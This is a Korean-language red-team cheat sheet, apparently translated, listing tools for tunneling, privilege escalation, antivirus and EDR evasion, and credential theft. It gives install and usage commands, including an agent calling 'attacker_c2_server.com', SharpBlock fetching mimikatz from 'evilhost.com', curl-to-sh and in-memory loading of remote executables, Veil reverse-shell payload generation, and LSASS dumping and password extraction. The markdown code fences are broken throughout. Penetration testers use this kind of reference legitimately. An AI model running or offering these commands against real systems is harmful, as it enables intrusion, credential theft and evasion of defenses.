Ligolo-ng는 간단하고 가볍고 빠른 도구로, 침투 테스터가 tun 인터페이스를 사용하여 역방향 TCP/TLS 연결로 터널을 설정할 수 있게 해줍니다 (SOCKS가 필요 없습니다).
SOCKS 프록시나 TCP/UDP 포워더를 사용하는 대신, Ligolo-ng는 [Gvisor](https://gvisor.dev/)를 사용하여 사용자 공간 네트워크 스택을 생성합니다.
릴레이/프록시 서버를 실행할 때 tun 인터페이스가 사용되며, 이 인터페이스로 전송된 패킷은 변환된 후 에이전트 원격 네트워크로 전송됩니다.
**설치: (다운로드)**
미리 컴파일된 바이너리(Windows/Linux/macOS)는 [릴리스 페이지](https://github.com/nicocha30/ligolo-ng/releases)에서 확인할 수 있습니다.
**설치: (빌드)**
_ligolo-ng 빌드 (Go >= 1.17 필요):_```bash
go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go
# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go
설치: (Linux)```bash sudo ip tuntap add user [your_username] mode tun ligolo sudo ip link set ligolo up
**설정: (Windows)**
[Wintun](https://www.wintun.net/) 드라이버([WireGuard](https://www.wireguard.com/)에서 사용)를 다운로드하고, `wintun.dll`을 Ligolo와 같은 폴더에 배치해야 합니다(올바른 아키텍처를 사용해야 합니다).
**설정: (프록시 서버)**```bash
./proxy -h # Help options
./proxy -autocert # Automatically request LetsEncrypt certificates
사용법:
대상(피해자) 컴퓨터에서 에이전트를 시작하세요(권한이 필요하지 않습니다!):```bash ./agent -connect attacker_c2_server.com:11601
프록시 서버에 세션이 나타나야 합니다.```
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
session 명령어를 사용하여 agent를 선택하세요.``` ligolo-ng » session ? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
전체 사용 정보는 [여기](https://github.com/nicocha30/ligolo-ng#using-ligolo-ng)에서 확인할 수 있습니다.

_이미지는 https://github.com/nicocha30/ligolo-ng#demo에서 사용되었습니다._
# 권한 상승
### [🔙](#tool-list)[LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
LinPEAS는 Linux 엔드포인트에서 로컬 권한 상승 경로를 찾기 위한 상세한 권한 상승 도구입니다.
**설치 및 사용:**```bash
curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh

WinPEAS는 Windows 엔드포인트에서 로컬 권한 상승 경로를 찾기 위한 상세하고 유용한 권한 상승 도구입니다.
설치 + 사용법:```bash $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")

### [🔙](#tool-list)[linux-smart-enumeration](https://github.com/diego-treitos/linux-smart-enumeration)
Linux smart enumeration은 또 다른 유용하고 덜 장황한 Linux 권한 상승 도구입니다.
**설치 + 사용법:**```bash
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh

Certify는 Active Directory Certificate Services(AD CS)의 잘못된 구성을 열거하고 악용하기 위한 C# 도구입니다.
Certify는 Mimikatz 및 PowerShell과 같은 다른 레드팀 도구 및 기술과 함께 사용하도록 설계되어, 레드팀원이 중간자 공격, 가장 공격, 권한 상승 공격 등 다양한 유형의 공격을 수행할 수 있도록 지원합니다.
Certify의 주요 기능:
설치: (컴파일)
Certify는 Visual Studio 2019 Community Edition과 호환됩니다. Certify 프로젝트 .sln 파일을 열고 "Release"를 선택한 후 빌드하세요.
설치: (PowerShell을 통해 Certify 실행)
PowerShell 래퍼를 통해 Certify를 메모리 내에서 실행하려면, 먼저 Certify를 컴파일하고 결과 어셈블리를 base64로 인코딩하세요:```bash [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify는 PowerShell 스크립트에서 다음과 같이 로드할 수 있습니다 ("aa..."는 base64-encoded Certify assembly string으로 대체됩니다):```
$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Main() 메서드와 모든 인수는 다음과 같이 호출할 수 있습니다.``` [Certify.Program]::Main("find /vulnerable".Split())
전체 컴파일 지침은 [여기](https://github.com/GhostPack/Certify#compile-instructions)에서 확인할 수 있습니다.
**사용법:**```bash
# See if there are any vulnerable templates
Certify.exe find /vulnerable
# Request a new certificate for a template/CA, specifying a DA localadmin as the alternate principal
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
전체 예제 워크스루는 여기에서 찾을 수 있습니다.

Get-GPPPassword는 PowerSploit 툴킷의 일부인 PowerShell 스크립트로, 그룹 정책 기본 설정(GPP)을 사용하여 생성 및 관리되는 로컬 계정의 비밀번호를 검색하도록 설계되었습니다.
Get-GPPPassword는 도메인 컨트롤러의 SYSVOL 폴더에서 비밀번호 정보가 포함된 GPP 파일을 검색하여 작동합니다. 이러한 파일을 찾으면 비밀번호 정보를 해독하여 사용자에게 표시합니다.
설치:
이 도구 시트의 PowerSploit 설치 지침을 따르세요.```bash powershell.exe -ep bypass Import-Module PowerSploit
**사용법:**```bash
# Get all passwords with additional information
Get-GPPPassword
# Get list of all passwords
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

로컬 권한 상승 취약점에 필요한 소프트웨어 패치를 빠르게 찾기 위한 PowerShell 스크립트입니다.
지원 대상:
설치: (PowerShell)```bash
git clone https://github.com/rasta-mouse/Sherlock
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
**사용법: (PowerShell)**```bash
# Run all functions
Find-AllVulns
# Run specific function (MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference)
Find-MS14058

이미지 출처: https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/
Watson은 누락된 KB를 열거하고 권한 상승 취약점에 대한 익스플로잇을 제안하도록 설계된 .NET 도구입니다.
시스템에서 더 높은 권한을 얻기 위해 알려진 취약점을 악용하는 데 사용할 수 있는 익스플로잇을 제안하고 누락된 패치를 식별하는 데 유용합니다.
설치:
Visual Studio 2019 Community Edition을 사용합니다. Watson 프로젝트 .sln을 열고 "Release"를 선택한 후 빌드합니다.
사용법:```bash
Watson.exe

_이미지 텍스트 출처: https://github.com/rasta-mouse/Watson#usage_
### [🔙](#tool-list)[ImpulsiveDLLHijack](https://github.com/knight0x07/ImpulsiveDLLHijack)
C# 기반 도구로, 대상 바이너리에서 DLL 하이재킹을 발견하고 악용하는 과정을 자동화합니다.
발견된 하이재킹 경로는 실제 공격 중 EDR을 우회하기 위해 무기화될 수 있습니다.
**설치:**
- **Procmon.exe** -> https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
- **사용자 정의 확인 DLL** :
- 이 DLL 파일들은 식별된 하이재킹 경로에서 DLL이 성공적으로 로드되었는지 확인하는 데 도움을 줍니다.
- 위에 제공된 MalDLL 프로젝트에서 컴파일했습니다(신뢰한다면 미리 컴파일된 바이너리를 사용하세요!).
- 32비트 DLL 이름: maldll32.dll
- 64비트 DLL 이름: maldll64.dll
- NuGet 패키지 설치: **PeNet** -> https://www.nuget.org/packages/PeNet/ (ImpulsiveDLLHijack 프로젝트 컴파일 시 필요)
**참고: i 및 ii 전제 조건은 ImpulsiveDLLHijacks.exe의 디렉터리 자체에 배치해야 합니다.**
- **빌드 및 설정 정보:**
- **ImpulsiveDLLHijack**
- Visual Studio에서 리포지토리를 클론합니다.
- Visual Studio에서 프로젝트가 로드되면 "프로젝트" --> "NuGet 패키지 관리"로 이동 --> 패키지 찾아보기에서 "PeNet" 설치 -> https://www.nuget.org/packages/PeNet/
- 프로젝트를 빌드하세요!
- ImpulsiveDLLHijack.exe는 bin 디렉터리 안에 있습니다.
- **확인 DLL의 경우:**
- Visual Studio에서 리포지토리를 클론합니다.
- x86 및 x64로 프로젝트를 빌드합니다.
- x86 릴리스를 maldll32.dll로, x64 릴리스를 maldll64.dll로 이름을 변경합니다.
- **설정:** 확인 DLL(maldll32 및 maldll64)을 ImpulsiveDLLHijack.exe 디렉터리에 복사한 후 ImpulsiveDLLHijack.exe를 실행합니다 :))
_설치 지침 출처: https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites_
**사용법:**```bash
# Help
ImpulsiveDLLHijack.exe -h
# Look for vulnerabilities in an executable
ImpulsiveDLLHijack.exe -path BINARY_PATH
Usage examples can be found here.

Image used from https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples
AD FS에서 다양한 유용한 정보를 덤프하는 C# 도구입니다.
Mandiant FireEye에서 근무하던 Doug Bienstock @doughsec이(가) 만들었습니다.
이 도구는 ADFSpoof와 함께 실행되도록 설계되었습니다. ADFSdump는 ADFSpoof를 사용하여 보안 토큰을 생성하는 데 필요한 모든 정보를 출력합니다.
요구 사항:
설치: (컴파일)
ADFSDump는 Visual Studio 2017 Community Edition에서 .NET 4.5를 대상으로 빌드되었습니다. 프로젝트 .sln 파일을 열고 'Release'를 선택한 후 빌드하기만 하면 됩니다.
사용법: (플래그)```bash
/domain:
/server:
/nokey
/database
[블로그 - ADFS에 대한 골든 SAML 공격 탐구](https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs)

_다음에서 사용된 이미지: https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs_
# 방어 우회
### [🔙](#tool-list)[Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)
PowerShell v2.0+ 호환 PowerShell 명령 및 스크립트 난독화 도구입니다. 피해자 엔드포인트에서 PowerShell을 실행할 수 있다면, 이 도구는 매우 난독화된 스크립트를 만드는 데 좋습니다.
**설치:**```bash
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
사용법:```bash ./Invoke-Obfuscation

### [🔙](#tool-list)[Veil](https://github.com/Veil-Framework/Veil)
Veil은 일반적인 안티바이러스 솔루션을 우회하는 metasploit 페이로드를 생성하는 도구입니다.
난독화된 셸코드를 생성하는 데 사용할 수 있으며, 자세한 내용은 공식 [veil framework 블로그](https://www.veil-framework.com/)를 참조하십시오.
**설치: (Kali)**```bash
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
설치: (Git)```bash sudo apt-get -y install git git clone https://github.com/Veil-Framework/Veil.git cd Veil/ ./config/setup.sh --force --silent
**사용법:**```bash
# List all payloads (–list-payloads) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-payloads
# List all encoders (–list-encoders) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-encoders
# Generate a reverse tcp payload which connects back to the ip 192.168.1.20 on port 1234
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
# List all payloads (–list-payloads) for the tool Evasion (-t Evasion)
./Veil.py -t Evasion --list-payloads
# Generate shellcode using Evasion, payload number 41, reverse_tcp to 192.168.1.4 on port 8676, output file chris
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Veil 제작자들은 유용한 블로그 포스트를 작성하여 추가적인 ordnance 및 evasion 명령줄 사용법을 설명합니다.

엔트리 포인트 실행을 차단하여 EDR의 활성 프로젝션 DLL을 우회하는 방법입니다.
기능:
설치:
Visual Studio 2019 Community Edition을 사용하여 SharpBlock 바이너리를 컴파일합니다.
SharpBlock 프로젝트 .sln을 열고 "Release"를 선택한 후 빌드합니다.
사용법:```bash
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
execute-assembly SharpBlock.exe -e \.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee upload_file /home/haxor/mimikatz.exe \.\pipe\mimi
좋은 PenTestPartners 블로그 게시물 [here](https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock/).

_이미지 출처: https://youtu.be/0W9wkamknfM_
### [🔙](#tool-list)[Alcatraz](https://github.com/weak1337/Alcatraz)
Alcatraz는 GUI x64 바이너리 난독화 도구로, 다양한 PE 파일을 난독화할 수 있습니다. 포함된 파일 형식:
- .exe
- .dll
- .sys
지원되는 난독화 기능은 다음과 같습니다:
- 즉시 이동 (immediate moves) 난독화
- 제어 흐름 평탄화
- ADD 변형
- 진입점 난독화
- LEA 난독화
**설치: (요구 사항)**
설치: https://vcpkg.io/en/getting-started.html```bash
vcpkg.exe install asmjit:x64-windows
vcpkg.exe install zydis:x64-windows
사용법:
GUI를 사용하여 바이너리 난독화하기:
file을 클릭하여 바이너리를 로드합니다.Functions 트리를 확장하여 함수를 추가합니다. (상단 검색창에 이름을 입력하여 검색할 수 있습니다.)compile을 누릅니다. (참고: 많은 함수를 난독화하면 몇 초 정도 걸릴 수 있습니다)
이미지 출처: https://github.com/weak1337/Alcatraz
Mangle은 컴파일된 실행 파일(.exe 또는 DLL)의 여러 측면을 조작하는 도구입니다.
Mangle은 알려진 침해 지표(IoC) 기반 문자열을 제거하고 무작위 문자로 대체하며, 파일 크기를 늘려 EDR을 회피하고, 합법적인 파일의 코드 서명 인증서를 복제할 수 있습니다.
이러한 기능을 통해 Mangle은 로더가 온디스크 및 인메모리 스캐너를 회피하는 데 도움을 줍니다.
설치:
첫 번째 단계는 항상 그렇듯이 저장소를 클론하는 것입니다. Mangle을 컴파일하기 전에 종속성을 설치해야 합니다. 종속성을 설치하려면 다음 명령을 실행하세요:``` go get github.com/Binject/debug/pe
그런 다음 빌드하세요```
git clone https://github.com/optiv/Mangle
cd Mangle
go build Mangle.go
사용법:```bash -C string Path to the file containing the certificate you want to clone -I string Path to the orginal file -M Edit the PE file to strip out Go indicators -O string The new file name -S int How many MBs to increase the file by
Full usage information can be found [here](https://github.com/optiv/Mangle#usage).

_이미지는 https://github.com/optiv/Mangle에서 사용됨_
### [🔙](#tool-list)[AMSI Fail](http://amsi.fail/)
AMSI.fail은 현재 프로세스에 대해 AMSI를 중단하거나 비활성화하는 난독화된 PowerShell 코드 조각을 생성하는 데 사용할 수 있는 훌륭한 웹사이트입니다.
코드 조각은 난독화되기 전에 소수의 기술/변형 풀에서 무작위로 선택됩니다. 모든 조각은 런타임/요청 시 난독화되어 생성된 출력이 동일한 서명을 공유하지 않도록 합니다.
AMSI를 설명하는 좋은 f-secure 블로그는 [여기](https://blog.f-secure.com/hunting-for-amsi-bypasses/)에 있습니다.

_이미지는 http://amsi.fail/에서 사용됨_
# 자격 증명 액세스
### [🔙](#tool-list)[Mimikatz](https://github.com/gentilkiwi/mimikatz)
손상된 엔드포인트에서 해시된 비밀번호와 일반 텍스트 비밀번호에 접근하는 데 유용한 도구입니다. 시스템에 권한 있는 액세스 권한을 얻은 후 이 도구를 배포하여 자격 증명을 수집하세요.
**Install:**
1. [mimikatz_trunk.7z](https://github.com/gentilkiwi/mimikatz/releases) 파일을 다운로드합니다.
2. 다운로드가 완료되면 `mimikatz.exe` 바이너리가 `x64` 폴더에 있습니다.
**Usage:**```bash
.\mimikatz.exe
privilege::debug

브라우저, 데이터베이스, 게임, 메일, Git, WiFi 등에서 로컬에 저장된 비밀번호를 추출하는 유용한 도구입니다.
설치: (Binary)
여기에서 독립 실행형 바이너리를 설치할 수 있습니다.
사용법:```bash
.\laZagne.exe all
.\laZagne.exe browsers
.\laZagne.exe browsers -firefox

### [🔙](#tool-list)[hashcat](https://github.com/hashcat/hashcat)
비밀번호 해시를 크래킹하는 도구입니다. 많은 해싱 알고리즘을 지원합니다 (전체 목록은 [여기](https://hashcat.net/wiki/doku.php?id=example_hashes)에서 확인할 수 있습니다).
**설치: 바이너리**
독립형 바이너리는 [여기](https://hashcat.net/hashcat/)에서 설치할 수 있습니다.
**사용법:**```bash
.\hashcat.exe --help
Nice hashcat 명령어 치트시트.

수백 가지 해시 및 암호 유형을 지원하고 여러 운영 체제, CPU 및 GPU에서 실행되는 또 다른 비밀번호 크래커입니다.
설치:```bash sudo apt-get install john -y
**사용법:**```bash
john

이 도구는 Microsoft System Center Operations Manager(SCOM) 데이터베이스에 저장된 RunAs 자격 증명을 검색하고 복호화하도록 설계되었습니다.
NCC 블로그 글 - 'SCOMplicated? – SCOM "RunAs" 자격 증명 복호화'
사전 요구 사항:
도구를 실행하려면 SCOM 서버에 대한 관리자 권한이 필요합니다. 또한 다음 레지스트리 키에 대한 읽기 권한이 있는지 확인해야 합니다.``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins
다음 키에서 연결 세부 정보를 수집하여 데이터베이스를 볼 수 있는지 수동으로 확인할 수 있습니다.```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName
설치: (PS1)```
git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt
. .\Invoke-SCOMDecrypt.ps1
**설치: (컴파일)**
[Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/)을 사용하여 SCOMDecrypt 바이너리를 컴파일할 수 있습니다.
SCOMDecrypt [project .sln](https://github.com/nccgroup/SCOMDecrypt)을 열고 "Release"를 선택한 후 빌드합니다.
**사용법:**```bash
# PS1
Invoke-SCOMDecrypt
# Compiled C# binary
.\SCOMDecrypt.exe

이미지 텍스트는 https://github.com/nccgroup/SCOMDecrypt 에서 사용되었습니다.
LSASS(로컬 보안 기관 하위 시스템 서비스)는 Windows 운영 체제의 시스템 프로세스로, 시스템의 보안 정책을 적용하는 역할을 합니다. 사용자 로그온 인증, 보안 정책 적용, 감사 로그 생성 등 보안과 관련된 여러 작업을 담당합니다.
이 프로세스의 덤프를 생성하면 공격자가 프로세스 메모리에서 암호 해시 또는 기타 민감한 정보를 추출할 수 있으며, 이를 통해 시스템을 추가로 손상시킬 수 있습니다.
이를 통해 LSASS 프로세스의 미니덤프를 생성할 수 있습니다.
설치:```bash git clone https://github.com/helpsystems/nanodump.git
**설치: (Linux with MinGW)**```bash
make -f Makefile.mingw
설치: (Windows with MSVC)```bash nmake -f Makefile.msvc
**설치: (CobaltStrike 전용)**
Cobalt Strike에서 `NanoDump.cna` 스크립트를 가져옵니다.
전체 설치 정보는 [여기](https://github.com/helpsystems/nanodump)에서 확인할 수 있습니다.
**사용법:**```bash
# Run
nanodump.x64.exe
# Leverage the Silent Process Exit technique
nanodump --silent-process-exit C:\Windows\Temp\
# Leverage the Shtinkering technique
nanodump --shtinkering
Full usage information can be found 여기서 확인할 수 있습니다.

이미지 출처: https://github.com/helpsystems/nanodump
고전적인 "tree" 명령어의 독립형 python3 리메이크로, 사용자가 제공한 키워드/정규식을 파일에서 검색하고, 일치하는 파일을 강조 표시하는 추가 기능이 있습니다. 두 가지 주요 이유로 만들어졌습니다:
tree는 디렉토리 구조를 분석하는 훌륭한 도구입니다. 모든 Linux 배포판에 사전 설치되어 있지 않고 Windows에서는 (UNIX 버전에 비해) 제한적이므로, 사후 침투 열거를 위해 이 명령어의 독립형 대안을 갖는 것은 매우 편리합니다.설치:```bash git clone https://github.com/t3l3machus/eviltree
**사용법:**```bash
# Running a regex that essentially matches strings similar to: password = something against /var/www
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v
# Using comma separated keywords instead of regex
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v

이미지 출처: https://github.com/t3l3machus/eviltree
Cisco 전화 시스템에서 SSH 자격 증명을 검색하기 위해 구성 파일을 자동으로 다운로드하고 구문 분석하는 간단한 도구입니다.
선택적으로 UDS API에서 Active Directory 사용자를 열거할 수도 있습니다.
블로그 - Cisco 전화 시스템의 일반적인 잘못된 구성 악용
설치:```bash git clone https://github.com/trustedsec/SeeYouCM-Thief python3 -m pip install -r requirements.txt
**사용법:**```bash
# Enumerate Active Directory users from the UDS api on the CUCM
./thief.py -H <CUCM server> --userenum
# Without specifying a phone IP address the script will attempt to download every config in the listing.
./thief.py -H <Cisco CUCM Server> [--verbose]
# Parse the web interface for the CUCM address and will do a reverse lookup for other phones in the same subnet.
./thief.py --phone <Cisco IP Phoner> [--verbose]
# Specify a subnet to scan with reverse lookups.
./thief.py --subnet <subnet to scan> [--verbose]

이미지는 https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/ 에서 사용되었습니다.
MailSniper는 Microsoft Exchange 환경에서 이메일을 검색하여 특정 용어(비밀번호, 내부 정보, 네트워크 아키텍처 정보 등)를 찾기 위한 침투 테스트 도구입니다. 비관리자 사용자가 자신의 이메일을 검색하거나 Exchange 관리자가 도메인의 모든 사용자 사서함을 검색하는 데 사용할 수 있습니다.
MailSniper는 또한 비밀번호 스프레이, 사용자 및 도메인 열거, OWA 및 EWS에서 전체 주소 목록(GAL) 수집, 조직의 모든 Exchange 사용자에 대한 사서함 권한 확인을 위한 추가 모듈을 포함합니다.
자세한 정보가 있는 좋은 블로그 게시물은 여기를 참조하세요.
설치:``` git clone https://github.com/dafthack/MailSniper cd MailSniper Import-Module MailSniper.ps1
**사용법:**```bash
# Search current users mailbox
Invoke-SelfSearch -Mailbox [email protected]

이미지는 https://patrowl.io/ 에서 가져옴
이 도구는 pcap 파일 또는 라이브 인터페이스에서 신용카드 번호, NTLM(DCE-RPC, HTTP, SQL, LDAP 등), Kerberos(AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP 등을 추출합니다.
설치:```bash git clone https://github.com/lgandx/PCredz
**사용법:** (PCAP 파일 폴더)```python
python3 ./Pcredz -d /tmp/pcap-directory-to-parse/
사용법: (Live Capture)```python python3 ./Pcredz -i eth0 -v

### [🔙](#tool-list)[PingCastle](https://github.com/vletoux/pingcastle)
Ping Castle은 위험 평가와 성숙도 프레임워크를 기반으로 하는 방법론을 사용하여 Active Directory 보안 수준을 신속하게 평가하도록 설계된 도구입니다. 완벽한 평가보다는 효율성과의 타협을 목표로 합니다.
**설치:** (다운로드)```
https://github.com/vletoux/pingcastle/releases/download/2.11.0.1/PingCastle_2.11.0.1.zip
사용법:```python ./PingCastle.exe

### [🔙](#tool-list)[Seatbelt](https://github.com/GhostPack/Seatbelt)
Seatbelt는 대상 Windows 시스템의 보안 상태에 대한 상세 정보를 수집하여 잠재적인 취약점과 공격 벡터를 식별하는 데 유용한 도구입니다.
이 도구는 손상된 피해 시스템에서 실행되어 현재 보안 구성을 확인하도록 설계되었으며, 설치된 소프트웨어, 서비스, 그룹 정책 및 기타 보안 관련 설정에 대한 정보를 포함합니다.
**설치: (컴파일)**
Seatbelt는 C# 8.0 기능을 사용하여 .NET 3.5 및 4.0에 맞춰 빌드되었으며, [Visual Studio Community Edition](https://visualstudio.microsoft.com/downloads/)과 호환됩니다.